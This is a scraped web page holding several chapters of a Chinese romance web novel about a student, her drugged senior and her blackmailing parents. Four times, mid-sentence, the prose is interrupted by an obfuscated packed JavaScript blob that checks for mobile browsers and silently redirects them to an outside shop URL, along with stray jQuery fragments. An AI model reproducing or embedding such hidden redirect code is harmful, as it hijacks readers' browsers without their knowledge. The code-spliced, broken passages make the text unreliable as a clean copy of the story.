女生固执地抓住他的衣角不放,抬起头与他对视,然后便看见他睫毛颤了颤,沉沉地叹了口气,声音沙哑:“好,你先松开,好吗?” 白念依言放手,严禹拿开自己的遮挡伤口的外套扔在一边,环视了一下四周,唯一可以坐的沙发已经被水泡了,他目光转向房间里唯一一张大床。 “躺上去。”白念已经拿来毛巾,静静地站在一旁等着他动作。 严禹垂下眼与她对视两秒,喉结滚了滚,认命般地闭上眼睛,自暴自弃地将自己面朝下往床上一投,将自己的整张脸埋进柔软的枕头之间,只把背上的伤口留给白念。 他的衬衫被划开很长的一个破口,白念轻轻拨开衣服边缘,长长的伤口便一览无余地暴露在灯光之下,上面沾了水,还有零星的玻璃渣,以及被他一把抹上去弄得凌乱的血痕。 她伸出手指,准备拿掉上面零星的玻璃碎渣,指尖轻轻触碰到严禹的皮肤,手下的身躯猛地颤了一下,男生放在两侧的手猛地一把攥住了手下的枕头,却一声不吭。 白念抿了抿唇,默默地加快了手上的动作,顶着手下绷得发硬的肌肤,快速处理了残留的玻璃渣,然后拿起毛巾,轻轻地覆了上去,准备擦拭掉上面的水渍。 害怕牵扯到他的伤口,白念擦拭得很小心,力度放得很轻,柔软的毛巾已经被她用热水打湿,轻若无物又温热的力道缓慢地覆盖在严禹的腰侧,缓缓自下而上地推。 刚才拿玻璃时还动了动的人,此刻一点动静也没有了。 死水一般的沉寂让白念有点分神,不知道严禹现在什么境况?这么想着,她手上动作一歪,毛巾不小心从他的伤口上碾过,她自己先下意识“嘶”了一声,扭头去看严禹的反应。 “可以了。”埋在枕头里一动不动的人突然出声,许是因为被碾磨到伤口的原因,声音异常嘶哑。 白念向他投去一个十分抱歉的眼神,低下头看了看他的伤口,轻轻开口:“还有点没擦干净,马上。” 她把毛巾翻转了一个干净的面,重新又轻柔地覆了上去。 一只手猛地钳住了她拿着毛巾的手腕。 白念惊讶地扭过头去,却什么都没有看清,一道宽大的身影猛然翻身而起,挡住了她头顶的灯光,下一秒,白念被连人带毛巾整个拽起,然后被一股巨大的力量猛地按进了床榻之上。 天旋地转之间,白念头晕目眩地找回方向,望向整个笼罩在她上方的男生。 严禹两只手架在她的枕头两侧,掐着她的手臂深深地按进柔软蓬松的枕头中,整个人撑在她的上方,残存的理智让他勉强撑起自己的身体,与白念隔出半拳的距离。 深色的瞳孔里感情晦暗不明,徒留泛着血丝的双眼紧紧地将她盯着。 窥伺,控制,侵略。 如同一只扑杀猎物的狼。 他的胸口剧烈起伏,滚烫的带着轻微苦涩酒气的呼吸沉沉地打在白念耳边,一下,两下。 白念瞪大眼睛,不理解刚才摇摇晃晃站不稳的人从哪里生出这巨大的力量,钳制得她动弹不得,她用力扯了扯自己的手臂,纹丝不动。 白念闭了闭眼,在心里暗暗咒骂了一句下药的那两个神经病,大气不敢喘,收敛呼吸试图唤起他的理智:“师兄——” 两侧手腕上却陡然传来更重的抓握。 白念紧紧地盯着上方的男生,紧张之下她的眼睛泛起生理性的水雾,迷蒙氤氲的眸子一眨不眨地与男生深邃的眼相互对视,她嘴唇翕动想要开口,却引起男生的目光下移,视线缓缓地沿着她的眉目碾上了她的嘴唇。 严禹的头慢慢低下来,伴随着凌乱的呼吸和心跳,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164507|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及他身上白念熟悉的清冽气味。 白念意识到他要做什么,整个人僵硬起来,严禹的鼻尖却越靠越近。 叮咚—— “您好,您的外卖。”外面陌生的男性声音响起,打破了房间里暗流汹涌的气息。 严禹猛地一僵,所有动作停滞在半空,混乱的视线焦点模糊,似乎不理解发生了什么。 “……我买的东西到了。”白念轻声开口,声音发涩。 身上的人迷茫地盯着她看了几秒,突然侧过脸去,猛地把脸埋进白念肩颈右方,剧烈的深呼吸之后倏地松开白念的双手,快速地床上爬起,头也不回地向浴室走去。 砰! 他走得跌跌撞撞,小腿重重地往歪斜的茶几上一磕,却仿佛丝毫感受不到疼痛一般,几步迈进浴室,重重地将门一砸,隔绝了外面的视线,然后是水流倾泻而下的声音。 “您好?”外卖员又轻轻敲了下门,催促道。 白念终于回神,她立刻爬了起来,快速地捋了捋自己的头发和衣服,清了清嗓子才拉开房门,伸出手去接过外卖纸袋,小声说了句“谢谢。” 她买了碘伏、绷带和棉签,用来紧急处理伤口的,但是现在……她看了看紧闭的浴室门和手里的东西,罕见地犯难了。 静静地站了一会儿,她终于伸出手去,轻轻敲了敲浴室门:“我买了应急的消毒用品,你……” 里面只有流水的声音。 白念等了好久,依旧没有分毫动静,她有些忐忑地重新开口:“师兄,你还好吗?” 她刚想敲门,浴室门的把手终于轻轻转动起来,门扇被从里面缓缓拉开,严禹垂着眼睛站在她面前。 有淅淅沥沥的水滴不断砸向白念的脚尖,她抬起头来,发现面前的人已经浑身湿透。 浴室里没有一丝热气,一片冰凉。 “对不起。” 严禹望着她开口,眼神已经清明了许多,皮肤上久久不散的红痕也消退了不少,只是嗓音依旧沙哑低沉,接连不断的水滴顺着他的眉弓流到高挺得鼻尖,又滴滴答答地沿着鼻尖和下巴的线条坠落。 白念松了口气,摇了摇头:“没事的,不是你的错。” 她将手里的纸袋举到他面前:“你的伤口淋了水,尽快消毒吧。” 严禹伸出手来接过东西,他的手指在细微颤抖,不小心擦碰过白念的掌心,徒留一片湿冷冰凉。 白念皱了皱眉,想说什么,对上他被水浸湿的白色衬衫和里面若隐若现的线条,刚才强烈的触感涌上心头,她最终避开眼睛,收回手给他让出一条路。 “再等一会儿,我送你回学校。” 严禹背对着她拿着棉签摸索着给自己上药,一边低低沉沉地说话。白念叹了口气,终究还是走了过去:“我来吧。” 这次他没有再拒绝,或者说没力气拒绝,白念轻而易举地拿过东西,低下头去想要给他涂药,就发现他身上滴滴答答一片潮湿,根本没办法消毒,她皱了皱眉:“你的衣服需要——” 咚咚咚。 门外响起了隐秘而轻微的叩门声。 56. 失控 白念拿着棉签的动作僵在了原地。 敲门声响了三下就停止了,那样轻微又迅速的声响,似乎并不是真的为了把门内的人敲过去开门,只是一种……试探。 她手中的东西停在距离严禹伤口一拳的距离,抿着唇扭头看向门口,男生身上湿哒哒的水汽沿着他流畅的背部肌肉线条缓缓凝聚下滑,“啪嗒”一声滴在白念脚边的地上,唤回了她的注意力。 白念动了动唇,还没说话,严禹却懂了她的意思,轻轻摇了摇头,跌跌撞撞地从沙发上站起身来,立在白念身侧稳了稳动作。 大约是凉水降温醒神的作用慢慢褪去,他身上的水汽因为体温蒸腾起轻微的潮意和温热,短暂苍白下去的脸色又缓缓泛起若有似无的淡红,透过白皙的肌肤沿着埋入衬衫的胸颈蔓延到下颌。 在这样呼吸相融的距离下,白念感觉有点闷,她顾不上那么多,下意识伸手想去搀扶站立不稳的严禹。 男生却轻轻抬起手臂阻止了她的动作,用眼神示意白念他还好,只是眼尾复又泛起颓靡的红,衬得狭长的眼尾愈发深邃晦暗。 他就在这样默不作声的氛围里轻轻向门口挪去,抬手按掉了主灯的控制开关,房间里骤然灰暗下来,外面走廊里暖黄的灯光立刻沿着门脚的缝隙挤了进来。 突如其来的黑暗让白念不由自主地绷紧了神经,还好房间内第二个人的存在和气息太过强烈,让她不至于失态,她握拳掐了掐自己的掌心,借着轻微的刺痛镇定下来,顺着他的动作向门扇最底下的光亮看过去。 一线光亮中有四道黑影,将投射进来的灯光划成几段。 那是两双腿对光亮形成的遮挡。 距离摄像头被他们人为损毁已经过去快一个小时,那夫妻俩终于按捺不住了。 见门内没有任何应答,门外的敲门声又轻轻地、试探地再次响起。 笃笃笃。 严禹垂着头,看门外人因为未知状况而略显急躁的脚步轻轻踱来踱去,他不适地握拳轻抵在自己唇边,掩住自己喉咙里的微痒。 顺着这个动作一偏头,他看了白念一眼。 女生背对着窗外,室内灯光一灭,外面清浅的月色便透过窗隙落了进来,洒在她的背部,勾勒出她静静站在床边的身影,双手握拳,紧紧地攥着自己两侧的裙摆。 严禹倚在墙壁上的身体一僵,低头看了眼门外的影子,撑住墙壁站直,缓缓朝着白念走过来。 白念盯着他的动作,不知道他要做什么,迷惑地眨了眨眼,扭头接替他的工作,专心盯着门口的影子。 男生走到床边,俯下身略微摸索片刻,随后“咔吧”一声,床头灯循声亮起,昏暗微冷的月色瞬间被暖黄的一盏圆润亮光所取代,照亮了白念身侧这一小片空间。 做完这件事,男生撑着床头低低地深呼吸了两下,才转过头来,看了她一眼。 大约是他自己也觉得室内看不太清楚吧……不论如何,白念悄悄地松了口气,放开被她攥得皱巴巴的裙摆,用手指了指门外,询问他的意思。 按照她的想法,严禹原本是不用参与到她的“家事”中来的,只要他拉开和她的距离,拎上外套潇洒走人,这件事就完全与他无关。 但他没有。 从他那句一语双关的“小心”开始,就已经来不及了。 白念不知道他今晚这一切行动举止,是否和那天晚上帮助她从那夫妻俩的手底下解脱是一样的意图。 见义勇为? 白念多看了一眼面前垂着眼的男生,恍然察觉尽管非她所愿,她到底已经麻烦他许多。 不论他出手相助是出于同门的那点浅淡交集,或是他自己绅士良好的道德准则,她都感激不尽。 思绪纷扰间,严禹掉落在床头的手机屏幕突然亮了亮,他伸手拿起来点开,里面是一条短信。 【严公子,既然您已经睡下,我们就不打扰了,改日再叙,祝您度过一个愉快的夜晚。】 寥寥数语,心机深藏。 看似客气礼貌地道别,实则清清楚楚地告诉他,你的一举一动都在我们的了解之下。 严禹冷眼看着屏幕上的字,白念已经凑近过来,刚才屏幕亮起的时候,白晟林三个大字清晰地挂在上面,她想看看他说了什么。 严禹下意识就要把手机屏幕侧过去,挡住她探究的目光。 白念不解地冲他眨了眨眼,是询问的意思。 发完短信后,门外的两道人影最后踱步两秒,终于放下心来离开,门下的光影恢复成畅通无阻的一线。 白念屏息等了两分钟,透过隔音良好的墙壁,努力搜寻到轻轻一声电梯抵达楼层的提示音响起,然后是电梯门合拢的声音,终于全都归于寂静。 她扭过头来看向严禹,轻声开口:“可以给我看一眼吗?” 严禹看进她的眼中,看到一片沉静和坦然,他终究垂下眼睛,把屏幕举到白念眼前。 短短一句话,白念反复看了好几遍。尽管她已经洞悉一切,但亲眼看到这两人急不可耐的嘴脸,她还是沉默良久。 “好了,”男生沙哑的声音在头顶响起,他收回手臂,主动切割白念定在屏幕上的视线,低低开口,“……别看了。” 他有些后悔自己为什么让她看到,语气里是沉沉的懊恼。 白念面无表情了半晌,抬头看到严禹比她还要严肃晦暗的神情,忽而粲然一笑:“我没事。至少……我知道他们想要做什么了。” “嗯。”严禹轻轻应了一声,尽管此刻他呼吸逐渐急促起来,思绪也不是太清晰,但白念鬼使神差地在他静静注视着她的眼眸中看出一丝莫名的情绪。 似乎是赞赏,又似乎是……温柔。 白念下意识收回自己的视线,看向门外:“他们应该是离开了,我们……” 她看得很清楚,他用凉水劈头盖脸强行压下去的某些暗流已经慢慢回笼,刚才那样尴尬的情况她不想再经历第二次,一次有外卖小哥救场,下一次怎么办? 她不想让严禹因为帮她,做出背离自己意志的事情,对她、对他,都不是什么好事。 听出了她话里的暗示,严禹微微颔首,忍住一阵又一阵潮水一般的眩晕和潮热,伸手去够自己的外套:“我送你回去。” 白念叹了口气:“师兄。” 磕磕绊绊动作的人偏过头听她说话。 “你自己都这样了,怎么送?你不用……这么照顾别人的。”白念轻声说。 本该是立于云端的、高不可攀的天之骄子,却绅士体贴至此。 严禹手上的动作顿了顿,没有说话,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212465|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念又道:“你的衣服全都湿了,先去冲个热水澡,别感冒了,我出去给你买衣服,你处理好伤口再回去。” “不用。”男生以拳抵唇,低低地轻咳了两声,“我回家处理就好。” 白念看着他不正常的肤色和越来越低哑的嗓音,莫名地有些生气,她沉了沉呼吸,缓缓开口:“要不我帮你上药,要不你处理完再出去,你自己选。” . “……所以这个是?” 二十分钟后,严禹掂量着手上印着橘猫黑猫三花猫等各种可爱小猫的白色睡衣套装,难得地陷入沉思。 白念目光游移两秒,尴尬地抬起手轻轻擦了擦鼻尖:“现在商场都关门了,只有一条老街上还有店在营业,我看了一圈……没有男装,只有这个睡衣还有男款……” 严禹抿了抿唇,抖了抖手里柔软的衣料,里面似乎包裹了什么,就要掉出来。 白念眼疾手快一把上前攥住他手里的东西:“那什么……我随便买的,也不知道合不合适,你将就穿回家吧。” 说完也顾不上什么,赶人似的把眼前语塞的男生一把推进了浴室。 低头打开睡衣发现里面有条花里胡哨男士内裤的严禹:…… 身上的燥热去而复返,被狠狠警告过以后他没有再往自己身上冲凉水,囫囵洗了个热水澡,拿起碘伏艰难地给自己饱经折磨的伤口消毒,然后套上干燥柔软的衣物,他推开浴室门站到白念面前。 “我好了。” 白念抬起头来。 严禹露在外面的皮肤上重新泛起潮红,连眼睛里也重新挂上深重的颜色,本该是严肃的场合,奈何他身上可爱的小猫睡衣搭配上他面沉如水的表情实在太过违和,白念一边痛斥着自己的良心,一边“扑哧”漏出一声笑。 严禹:…… “对不起,我一下子没忍住,别生气。”白念沉痛反省。 严禹站在离她很远的地方懊恼地闭了闭眼,“不生气。” 剩下的话他连同滚动的喉结一起咽了下去。 ——只是克制不住想把某个笑得很快乐的罪魁祸首抓过来。 抓过来做什么呢? 他又吞咽了一下,努力挥斥脑中因为药物作用带来的不正常思绪,稳了稳后哑声开口:“我处理好了,你走吧。” 赶人的意味浓厚,白念看了一眼他的状态,犹豫道:“但是你的脸又红起来了。” …… 严禹无可奈何地看了她一眼:“你帮不上忙,走吧。” 白念讪讪地住了口,拎起自己的包,最后看了他一眼:“那我先走了,需要帮你叫车吗?” “不用。”他摇了摇头,语气有些急促了,“回去休息吧,剩下的事明天再说。” “好,再见。”白念拉开门,突然又转身停下,认真地看向他,“谢谢你,师兄。” 门关了。 最后两个字伴随着她轻柔澄澈的嗓音来回冲刷着他的理智,如同刚才他攥住她手腕时,她开口唤他时候那样。 严禹知道,此刻他应该拿上东西,开门回家,打电话叫来医生。 但当他头晕目眩地往床上一埋时,所有计划都消失了。 枕头上全是她的味道。 半晌,房间里传来自暴自弃的一声闷哼。 57. 决定 出乎白念意料的,接下来几天周淑华和白晟林并没有立刻来找她,两口子装死一般,静悄悄地没了动静。 也是,现在能直接和严禹谈,又何必来找她这个已经“利用完”的女儿。 除非严禹那边行不通。不过…… 白念轻嗤一声,低头划了划她和严禹的微信聊天记录,上一次聊天还停留在三天前——从福照阁回来的第二天早上,严禹很早就给她发了消息。 严禹:你父母那边,我已经稳住他们了,第二轮项目竞选在九月二十号,你可以慢慢想,不用着急。 白念回复了一个谢谢,接下来严禹就再也没有回过消息。 大约有事在忙吧,白念这么想着,不知道第几次关掉和他的微信聊天框,索性也不急了——距离唐氏集团第二轮项目竞选还有半个月,时间还很宽裕,倒是距离晋城大学开学,只有两天时间了。 倒是她们702的寝室群已经热闹了起来。 丁菲菲:啊啊啊啊啊啊!怎么一觉睡醒就要开学了,不要呜呜呜,我还没玩够呢T-T 方淇:摸摸头,后天我给你们带好吃的过来。 江含卿:好~谢谢淇淇~ 丁菲菲:那我要吃阿姨做的酱鸭掌嘻嘻! 方淇:[图片] 方淇:我就知道,已经给你腌上了~ 点开图片是一盆抹了酱料色泽金黄的鸭掌。 丁菲菲:[口水.jpg]我要立刻回校!想念我的宝贝室友们! 白念轻笑了一声,抬手打字发送。 n:等你们。 群里消息响个不停,仿佛连带着沉寂已久的寝室都重新热闹了起来,白念松松地往椅背上一仰,眼睛落在电脑屏幕上。 她的游戏账号刚刚登录进去。 风不语不在线。 她的视线从他灰色的头像上撤回,低下头又看了眼微信消息,目光落在“你可以慢慢想”这句话上,刚刚聊天泛起的轻微笑意又悄无声息地沉了下去。 ——如果有机会,你想报复回去吗? 那个雨夜风不语嗓音沉沉的追问犹在耳旁,白念垂着眼回忆自己是怎么回答的。 ——不想。 她的思绪蓦地闪回三天前的那个夜晚。 是那杯专门为她倒上的酒。 是酒杯后白晟林点头哈腰的恭维。 是周淑华离开时“不小心”掉落在严禹身旁的房卡。 以及房间外如鬼魅一般的两道影子。 ……她原本以为,她和云城这一家人,再差不过陌生人,没想到到最后,连陌生人也算不上。 白念轻笑了一声,不知道该嘲笑这两口子的处心积虑,还是嘲笑她自己的一派天真,她目光冷了许多,点开与风不语的聊天框,一字一句地敲。 【好友】【早睡身体好:你那天晚上问我想不想报复,我改主意了。】 也不知道他看到这条消息会作何反应,也许会惊讶,也许会觉得她偏激,也许会……失望? 一想到那道温润低沉的嗓音,白念抿了抿唇。 下一秒就收到了他的回复。 【好友】【风不语:好,我陪你。】 白念盯着这寥寥几个字,莫名从中看出一股子毫无理由的偏纵来——仿佛不管她说什么,这个人都会这么坚定不移的回答。她释然一笑,浑然不觉缓缓倾斜的阳光已经攀着窗帘慢慢爬上了她的脊背,照亮她满背蓬松柔软的长发,熠熠生辉。 看着对面依然灰着的头像,白念慢慢打字。 【好友】【早睡身体好:不问问为什么吗?】 【好友】【风不语:等你自己想说的时候,再告诉我。】 【好友】【早睡身体好:语音吗?】 对面延迟了几秒后回了个“好”。 语音通话接通的一瞬间,耳机里传来一道低声的咳嗽。 “你生病了?”白念眨了眨眼。 “……没事,有点小感冒。”风不语一开口,白念才发觉他声音异常嘶哑,嗓音又轻又缓,透露出一股子淡淡的虚弱来。 难怪这几天都不见他上线,白念皱了皱眉,声音轻了些:“严重吗……吃药了吗?有没有发烧?” 风不语哑着嗓子轻笑了一声,像幼儿园小孩回答老师问题一样,顺着她的话一句一句慢慢地说:“不严重,吃过药了,还有点低烧。” 白念听着他沙哑的声音,想说的话散了个干净,那天的事情……好像不适合现在跟他说,哪里不适合呢?她没想明白,只是下意识这么觉得——不太好。 她食指指尖无意识地抠了下手机的边缘,缓缓道:“那你快去休息吧,不聊了。” “我想聊。”风不语的声音很轻,却应得很快。 白念被他的直白噎了个措手不及,她脑子乱糟糟转着开口:“你在发烧。” “不耽误跟你说话。”他说着又低低地咳了两声,声音很闷,像是被刻意捂起来了。 白念吸了口气:“我挂了。” “等下,”风不语重新开口,不知道是不是白念的错觉,他沙哑的声音里藏着隐约笑意:“你是在,担心我吗?” 白念:…… 她感觉自己一整个热了起来,明明互相看不见,白念却欲盖弥彰地扭了扭头,这才发现随着太阳移动,自己已经整个笼罩在炫目的光影里。 难怪这么热,她这么想着,好像找到什么合理的原因一般松了口气,语气自然了许多:“不可以吗?” 对面又是一声轻笑:“当然可以,我的荣幸。” 白念揉了揉耳朵不太想说话。 风不语不再逗她,收回了笑声,安静了一会儿沉沉开口:“需要我帮忙吗?” 话题转得太快,白念反应了两秒,才想起来自己最开始找他时说的事,声音沉了下去,回答道:“不用。” 她只是,想跟他说一声。 “……嗯。”风不语应道,语气里有些随意的笑意,“本来想找个表现的机会。” 白念原本略微有些低沉的心情被逗笑:“你能帮我做什么?把他们抓过来打一架吗?还是给你个号码帮我骂他们一顿?” 风不语毕竟是个局外人,能听她说说话已经很好了。 她继续道:“这个事你帮不了,我会自己处理的。” 说着她又想起来一件事:“哦对了,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235149|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天我要开学了,以后白天我上线时间可能会变少。” “好,我也要开学了,差不多。”风不语回答。 白念愣了愣,这好像是他第一次提及自己游戏之外的事情,她算了算:“你读研了吗?” 对面沉默了片刻才回答:“不是,大五。” 白念对着电脑屏幕眨了眨眼:“你们专业也学五年?” 她印象里除了建筑类学科之外,好像医学类本科也是五年来着。 “嗯。”风不语回答得十分简略。 白念等了等,没等到他询问自己其他信息,她轻轻晃了晃鼠标,突然发现风不语似乎从来不问关于她的其他事情,相比她时不时产生的好奇心,可以算得上从不越界。 晃了晃脑袋,白念想起来对面的人还在发烧,收起多余的思绪道:“好了,你快去休息吧。” “好。”风不语回答,“要不要我上线陪你玩一会儿,好像孩子系统上线了。” 白念偏头看了一眼世界里乱飞的聊天记录,一半在征婚,一半在讨论怎么生娃,剩下一小撮在炫耀自己已经怀上了,进度神速。 消息滚得飞快,她收回目光回答:“不着急,你先休息。” 说起来,当初是为了强强结合弄个暴力宝宝才结的婚,可现在,好战分子白念第一次对能增强战力值的东西丝毫不着急管。 “不怕别人排行榜超过你吗?”风不语又逗她。 白念眯了眯眼,也笑了:“那也得打得过我。” 落后一个宝宝的差距而已,她对自己的操作非常自信。 风不语想要笑,却又咳嗽了起来,大约是说话太久,咳了好久才平复呼吸,白念看他还想说话,当机立断:“好了就这样,我挂了,你快休息。” 说完丝毫不给风不语反应的机会,迅速掐掉了语音通话。 徒留通话彼端的人对着陷入沉寂的耳麦愣了愣,才无可奈何地笑了下,虚弱地往后一趟,合上了滚烫的眼帘。 白念找了个车队挂机刷上日常,再次拿起自己的手机,找到和严禹的聊天框打开。 n:师兄,麻烦你跟白晟林说一声,就说项目竞选的相关事宜交给我来跟他沟通。剩下的事情我自己会处理的,麻烦你了,谢谢。 等了一会儿没有回复,她刚准备放下手机,消息提示音突然响起,她连忙点开。 严禹:好,需要我帮忙的话随时开口。 尽管严禹字里行间的意思是要帮她,借用他的身份来行事也会顺理成章许多。但白念想想就算了,这左右是自己的家事,那天晚上已经麻烦他许多,甚至连累他被下了莫名其妙的药…… 白念脑海里突然浮现出那些滚烫呼吸交错的画面,打字的手一顿,她离开时严禹的症状好像又严重了,也不知道他现在情况怎么样。 犹豫了几秒,她又发了条消息。 n:你那天晚上去医院了吗? 这条消息发出去犹如石沉大海,刚刚才回复消息的人突然消失,白念抓着手机等了好久也没等来回复,她放下手机,起身去接水。 桌面上的屏幕亮了起来,白念的话被顶了上去。 严禹:去了。 58. 初恋 不知道严禹和白晟林他们沟通了什么,装死好几天的夫妻俩第二天就找上门来。 陌生电话打进来的时候,白念正在仗剑放光芒的队伍里挂着机刷灵鸟任务,准备一会儿集齐灵鸟后去打浮砚山降魔。这也是她开学前最后一个难度副本,队伍里四个人都到齐了,只是风不语不知道在做什么,进了队伍就一直在挂机。 白念看了眼来电号码,没有立刻接起来,先抬手发了条消息。 【队伍】【早睡身体好:我接个电话,挂机一会儿。】 虽然灵鸟不算难打,但是现在队伍里只有她一个输出,她还是得说一声。 “嫂子你去吧,”仗剑带着队回得很快,“我会看着你的血量的。” 白念放下心来,又任凭电话响了两秒,才慢慢地点下接听按钮。 “……喂?”那头的人见她没有说话,等了两秒自己开了口,熟悉的中年男人的声音,是白晟林。 白念垂下眼帘,没有说话,无声地冷笑了一下。 钓鱼的最高境界,就是让鱼自己咬钩,不是么? 白晟林等了半晌,深知自己女儿的脾气,没挂断电话就说明仍然在听,他清了清嗓子,压低了语调,尽量让自己显得亲切一些,才缓缓开口:“我和你妈暂时回云城,都顾不上问问你,你这几天还好吗?哎呀那天晚上我们出门接个电话回来你和严公子就不见了,以为你先回去了……” 白念用指甲轻轻刮着桌面上一点掉漆的地方,语气不咸不淡地打断他的惺惺作态:“你要是来跟我说废话的,那就挂了。” “哎别别别。”白晟林一改往日在她面前不假辞色的“威严”形象,语气十分亲和谦卑,“那天晚上你妈动手打人是她的不对,我已经说过她了。还有你上次说的生活费的事情……我听宇卓说他的医药费也是你垫付的,爸爸给你卡里打了五万块。咱们还是一家人对不对?” 白念好整以暇地弹了弹指甲,听着这些陌生的词汇心生好笑,嘴上语气依然淡淡的:“哦,挂了。” 说罢毫不留情地挂断了电话,然后心里默念了五个数。 来电铃声再次响起。 她冷着眼勾了勾唇角,看来严禹把她的意思传达得很清楚。 权势真是个好东西,可以让上一秒还叫嚣着要把耳光落在她脸上的人,下一秒就若无其事地想跟她叙那些压根不存在的旧。 她静静地听着,一直等到铃声几乎快要停下来,才不急不慢地接了起来。 “念念啊……”白晟林的声音明显比刚才假惺惺时候要急一些,甚至厚着脸皮自以为亲切地喊了她的名字,“爸爸是有事儿找你,就是那天晚上,那什么——” 他的话还没说完,对面突然传来一阵杂音,随后换了个说话的人:“是我。” 是周淑华接过了电话。 白念垂下眼睛,压低声音才开口:“你们要干什么?” 周淑华说话就直白多了:“别不高兴啊,我可是来关心你的,那天晚上发生了什么,你不会不记得了吧。” 白念沉默了片刻才轻声道:“……你怎么会知道。” 对面很诡异地笑了两声,随后白念的手机提示音接二连三地响了起来。 她慢条斯理地点开,不出意外地,是几张清晰的视频截图,有她在包厢里晕倒在严禹身上的,有她被严禹扶进酒店房间的。 周淑华等了几秒才悠悠开口:“看到了?你应该也不希望自己这些照片流落在外吧。不瞒你说……剩下的视频和照片都在我手里。” 白念回想起那个被他们用花瓶水浇坏的摄像头,带着无限荒诞的意味咧了咧嘴唇,声音却压得更轻更低,甚至显出颤音来:“……你不是说过,答应你去赴宴之后就不会再打扰我?” 周淑华从她的声音里满意地捕捉到自己想要的情绪,低低地笑了声:“成年人的世界就是充满谎言的,不是吗?你早该知道的。” 白念的呼吸声在电流里放大:“你想干什么?” 周淑华不急不缓:“你别紧张,我怎么会害你呢?我帮你拿下了唐氏集团的继承人,你难道不该感谢我吗?” 说到这里她言辞中几乎要溢出得意的笑来,吸引了一旁白晟林的注意,他似乎想要走上来旁听。 周淑华顿了顿,对面传来开关门的声音,她的声音低了下来:“那个女人最近要出狱了,你父亲偷偷去看过她几次,我都知道的。还有宇卓,最近也不爱跟我说话了……我只有你这么一个孩子,难道你忍心看着自己的亲生母亲婚姻不幸福吗?” 白念没有说话。 她的沉默就意味着默认,周淑华向来知道的,于是她娓娓笑着说:“念念,我的女儿,帮帮我。” . “怎么样?她答应了吗!” 周淑华挂断电话,从阳台走回房间,白晟林就急不可耐地凑了上来,表情里是她许久没见过的殷切和期待。 对着她的殷切和期待。 她缓缓勾起嘴角:“当然。” 白晟林眼睛发亮,他几乎是下意识地将自己的妻子揽入怀中,语气温存:“淑华,这次多亏有你,不然事情怎么也不可能这么顺利,娶了你真是我的福气。” 周淑华倚靠在他怀中,享受这久违的没有歇斯底里的夫妻密语,脸上笑意不减,思绪却已经飘得很远。 她想起那时候,她和白晟林一起念书时,尚且青葱的男生单膝跪地,为她捧上一枚蓝花楹细茎做的戒指,眼中情意不假:“淑华,等毕业了就嫁给我好吗?我爱你。” 她想起那时候,她扶着小小的白念在澡盆里洗澡,被白晟林的母亲一盆洗拖把的脏水泼到身上,皮笑肉不笑:“哎哟没看到你在这儿,不过听说不下蛋的鸡都晦气,用水冲一冲还干净些。” 她想起那时候,这个男人从外面抱回刚刚足月的白宇卓,面对她不可置信的表情却笑得从容:“淑华,你别闹,你知道的,白家是一定要有个儿子的。” 彼时身后那个年轻又娇艳的女人笑得肆意:“姐姐,不是我想难为你,是你自己不争气啊。” 她想起那时候,她只是浅笑了一下,把那个女人叫到主卧里,说是要带她拿结婚证去离婚,然后攥着她的手,把那柄用来削水果的尖刀扎进了自己的腹腔。 那刀尖又冰又凉,凉得好像她对着那个吓得尿裤子的女人,绽放出的诡异笑容。 . 噗呲。 是金属割开皮肉的声音,闷闷的,带着利刃破风的呼啸。 白念躲在衣柜里,透过狭窄的缝隙看过去,只看见满眼的红,那个手握尖刀的女人,面容变得十分陌生,她很害怕。 她捂紧了嘴巴,想要降低自己的存在感,那人却猛地转过头来,把视线对准了衣柜,仿佛透过缝隙看见了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260171|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然后她慢慢走过来,带着挂在她身上的,滴血的刀柄。 滴答,滴答。 “在想什么。” 一道温润略带沙哑的声音陡然在她耳边响起,撕开了狭小黑暗的衣柜,撕碎了向她一路靠近的滴答声,取而代之的是明亮的屏幕。 风不语的麦克风在左下角闪烁,他回来了。 白念眨了眨眼睛,才发现自己握着挂断的通话页面,悄无声息地出了神。 